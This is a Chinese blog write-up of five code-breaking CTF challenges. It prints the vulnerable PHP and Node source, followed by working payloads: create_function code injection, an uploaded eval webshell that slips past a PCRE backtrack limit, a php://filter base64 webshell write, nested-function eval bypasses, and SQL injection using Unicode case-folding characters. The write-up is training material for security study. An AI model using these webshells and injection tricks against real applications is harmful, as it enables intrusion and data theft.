风之栖息地

code-breaking easy部分题目writeup

字数统计: 2.9k阅读时长: 13 min
2019/01/10 Share

ph师傅的代码审计CTF题目 https://code-breaking.com

easy - function

1
2
3
4
5
6
7
<?php
$action = $_GET['action'] ?? '';$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
else {
    $action('', $arg);
}

观察正则表达式可以发现正常的函数名都不行,所以很容易联想到要在函数名中加入其它字符,这道题没想到可以用create_function,一开始一直在想命令执行的函数,但是没有符合要求的……

想到create_function之后,要测试哪个字符可以使用,这里有师傅用了burp测试函数是var_dump来fuzz,最后fuzz出了%5c,就是\。在小密圈中师傅的解释是PHP的命名空间默认为\ ,如果直接写function_name()调用相当于是用相对路径在调用函数,如果写成\function_name()相当于用绝对路径调用函数。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

如何在create_function中执行代码呢?http://blog.51cto.com/lovexm/1743442

这篇文章中介绍了在create_function中如何注入代码并且执行。简单来说是通过输入}来闭合函数,之后再注入我们想执行的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
$b = create_function('$a', "return 666;");
echo $b;//lambda_xxx
$b(1)//return 666

这个匿名函数等效于
lambda_xxx($a){
return 666;
}

如果注入}
lambda_xxx($a){
return 666;}eval("phpinfo()");/*
这样在创建匿名函数的同时会执行我们的恶意代码,这里/* 和//都是可以的

现在能够执行代码了,剩下的就是通过执行代码寻找flag。这里套用一下LoRexxar的payload来搜索文件

http://51.158.75.42:8087/?action=%5ccreate_function&arg=return%20666;}eval($_POST[%27618%27]);/*

618=$handle = opendir('../');while(($filename = readdir($handle)) !== false){echo $filename."<br/>";}

这样直接file_get_contents获取内容

618=print(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));

easy - pcrewaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
    die(show_source(__FILE__));
}$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(010) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);
    header("Location: $path"true303);
}

首先,文件内容不能有<?,这样就意味着正常的php文件完全gg,然后也可以看到文件名不可控,这就是说没有办法用文件名传输php数据。这道题参考了ph师傅的方法。

ph师傅的方法是利用了php正则表达式的一个特性,一般的语言在正则表达式匹配的时候会有回溯操作,比如在贪婪或者非贪婪模式下,一开始匹配的内容会为最大匹配,之后会根据正则表达式的内容进行回溯调整。然而php有一个回溯的次数限制,如果超过这个限制正则表达式就会返回false,又由于php的弱类型比较,这样就会绕过if的判断。

这里有鸟哥的一篇文章介绍php正则匹配的回溯限制

http://www.laruence.com/2010/06/08/1579.html

ph师傅的详细内容

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

这里在上传的文件中加入1000000个a就会超过回溯的次数。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requestsimport iosession = requests.session()
agent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM;' \
' Touch; NOKIA; Lumia 920)'
headers = {
"Host": "51.158.75.42:8088",
"User-Agent": agent,
"Origin": "https://code-breaking.com/",
}
files = {
'file': io.BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
html = session.post('http://51.158.75.42:8088/', headers=headers, files=files, allow_redirects=False)
print html.headers

然后根据打印出来的头部信息,得到webshell的地址 data/558cb3b807e236696e9e2c79295d7fee/1.php,然后构造post数据执行代码,拿flag。

txt=$handler = opendir('../../../');while(($filename = readdir($handler)) !== flase){echo $filename."<br/>";}

txt=print(file_get_contents('../../../flag_php7_2_1s_c0rrect'));

easy - phpmagic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>    
<!-- Required meta tags -->   
<meta charset="utf-8">    
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">    
<!-- Bootstrap CSS -->    
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
<title>Domain Detail</title>   
<style>    pre {        
width: 100%;        
background-color: #f6f8fa;        
border-radius: 3px;        
font-size: 85%;       
line-height: 1.45;       
overflow: auto;       
padding: 16px;        
border: 1px solid #ced4da;    
}    
</style>
</head>
<body><div class="container">    
<div class="row">        
<div class="col">            
<form method="post">                
<div class="input-group mt-3">                    
<div class="input-group-prepend">                        
<span class="input-group-text" id="basic-addon1">dig -t A -q</span>                    
</div>                    
<input type="text" name="domain" class="form-control" placeholder="Your domain">                    
<div class="input-group-append">                        
<button class="btn btn-outline-secondary" type="submit">执行</button>                    
</div>               
</div>            
</form>        
</div>        
</div>   
<div class="row">        
<div class="col">            
<pre class="mt-3">
<?php if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);
                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php''php3''php4''php5''phtml''pht'], true)) {
                    file_put_contents($log_name, $output);
                }
                echo $output;
            endif;
?>
</pre>        
</div>   
</div>
</div>
</body>
</html>

首先还是来看可控点,一个是域名可控,一个是文件名部分可控。然而这里有escapeshellarg导致我们的输入被默认成字符串,没有办法注入命令,所以只能执行域名解析。这里参考fish师傅的方法,这里最需要注意的是file_get_contents,这种文件操作经过blackhat的议题,可以知道都是可以操作php协议流的。而这里是将域名解析的输出写入一个日志中,所以基本思路就是利用php://filter将我们的base64编码的数据解码输入进日志文件中。

关于文件名的后缀问题,http://wonderkun.cc/index.html/?p=626 这篇文章中知道在文件路径中包含/.或者/../会导致pathinfo无法获取到后缀名,这样就绕过后缀判断,写入php文件。之后的问题域名解析的输出只有一部分是可控的,这里有一个要点就是base64会忽视不符合要求的特殊字符,然后会以4个字符为一组解码字符,所以只要前面的数据为4的倍数就能正确执行。其次由于我们的输入点在数据的中间部分,所以也不能有=符号。

这里写入文件有一个重要的点,通过上面的这种特殊路径写入的文件只能创建新的文件,无法覆盖原来的旧文件。这点很重要,我就白忙活了半个小时……

最后,这个文件名其中有一部分是server_name,这里的值是获取的客户端请求的host值,因为在使用php流的时候会包含php,这里就可以把php放入host值中。

其中base64编码下面的webshell

<?php @eval($_POST['618']); ?>

PD9waHAgQGV2YWwoJF9QT1NUWyc2MTgnXSk7Pz4

最后我们在http://51.158.75.42:8082/data/558cb3b807e236696e9e2c79295d7fee/x618.php执行代码就可以获取flag了。

618=var_dump(glob("/var/www/*"));

618=var_dump(file_get_contents('/var/www/flag_phpmag1c_ur1'));

easy - phplimit

1
2
3
4
5
<?phpif(';' === preg_replace('/[^\W]+\((?R)?\)/''', $_GET['code'])) {    
    eval($_GET['code']);
else {
    show_source(__FILE__);
}

这是一道老题,通过正则表达式我们可以知道,这个code只能执行嵌套的函数,例如abc(def())这种,这里的思路就是利用http的header来传输payload,利用php的获取header的函数,再eval执行,就变成了任意代码执行。

?code=current(getallheaders());

但是,WTF,这是nginx的服务器,没有apache的相关函数,找了半天无功而返…… 找了找fish师傅的wp,他是利用了get_defined_vars 函数获取定义的变量,但是有很多变量我们不可控怎么办?这里有一个 reset() 操作把之前的变量全部重置。所以变量就只剩下我们传输的get参数,这样我们直接把payload放在get请求中,用implode全部取出,然后拼接// 注释掉后面的部分,又变成了任意代码执行了。

http://51.158.75.42:8084/?1=var_dump(glob(%27/var/www/*%27));//&code=eval(implode(reset(get_defined_vars())));

而这里两次eval,第一次eval是把变量重置之后全部提取出来,提取出来的字符串值再次eval,才会执行我们前面的代码。

http://51.158.75.42:8084/?1=var_dump(file_get_contents(%27/var/www/flag_phpbyp4ss%27));//&code=eval(implode(reset(get_defined_vars())));

这里也可以是其他的payload,都是大同小异。

?code=eval(next(current(get_defined_vars())));&b=var_dump(glob(%27/var/www/*%27));

另外一种思路是嵌套使用函数搜索目录读取文件。

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

easy - nodechr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename

const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))

async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')

await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)

router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))

app.use(router.routes()).use(router.allowedMethods());

app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}

function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}

return undefined
}

async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])

let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

if (user) {
ctx.session.user = user

jump = ctx.router.url('admin')
}

}

ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}

async function static(ctx, next) {
await send(ctx, ctx.path)
}

async function admin(ctx, next) {
if(!ctx.session.user) {
ctx.status = 303
return ctx.redirect(ctx.router.url('login'))
}

await ctx.render('admin', {
'user': ctx.session.user
})
}

async function source(ctx, next) {
await send(ctx, basename(__filename))
}

main()

这里的关键点就是safeKeyword函数的过滤黑名单,干掉了union和select,这以为着注入时彻底没办法使用了。在下面的登录查询逻辑中有一个很明显的注入,输入的字符串直接拼接进查询。其实一开始思路是从isStringmatch中寻找绕过方法,但是没有什么相关trick。后来在参考fish师傅的wp中,提到了toUpperCase,其实想想这里有个大写转换确实很诡异,所以突破口应该是在这里。果然在ph师傅的之前的文章中有fuzz出来的特殊字符。

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

这里面 ı 能变成大写的Iſ 会变成大写的S ,那么这样就能在正常的字符中插入特殊字符绕过safeKeyword的检测。再加上我们知道flag存放在flags表中,user表的结构也是知道的,所以直接用union注入查flag的值。

' unıon ſelect 1,flag,3 from flags where '1'='1

为了要闭合单引号,必须要凑个where语句。最终在登录界面拿到flag。

Reference

https://lorexxar.cn/2018/12/07/codingbreak-wp/

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

https://www.cnblogs.com/iamstudy/articles/code_breaking_writeup.html

http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/

http://rui0.cn/archives/1015

https://blog.l0ca1.xyz/Code-Breaking

https://blog.csdn.net/fnmsd/article/details/84556522

CATALOG
  1. 1. easy - function
  2. 2. easy - pcrewaf
  3. 3. easy - phpmagic
  4. 4. easy - phplimit
  5. 5. easy - nodechr
  6. 6. Reference